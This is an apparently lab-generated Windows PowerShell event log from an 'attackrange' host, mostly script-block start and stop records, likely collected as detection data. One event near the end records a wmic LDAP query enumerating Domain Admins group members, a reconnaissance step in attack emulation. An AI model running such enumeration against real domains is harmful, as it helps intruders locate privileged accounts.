Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023870
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023888
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023886
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023884
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023882
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023880
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023898
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023896
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023894
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023892
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023890
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023908
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023906
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023904
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023902
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023900
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023944
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023942
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023940
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023938
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023937
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023936
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023934
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023933
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023932
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023930
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023929
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023928
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023927
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 67e00a28-e40b-4ef6-a4e7-1a13fcb511c7
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023925
Keywords=None
Message=Started invocation of ScriptBlock ID: 67e00a28-e40b-4ef6-a4e7-1a13fcb511c7
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2023924
Keywords=None
Message=Creating Scriptblock text (1 of 1):
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value

ScriptBlock ID: 67e00a28-e40b-4ef6-a4e7-1a13fcb511c7
Path:
09/09/2021 09:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:30 PM
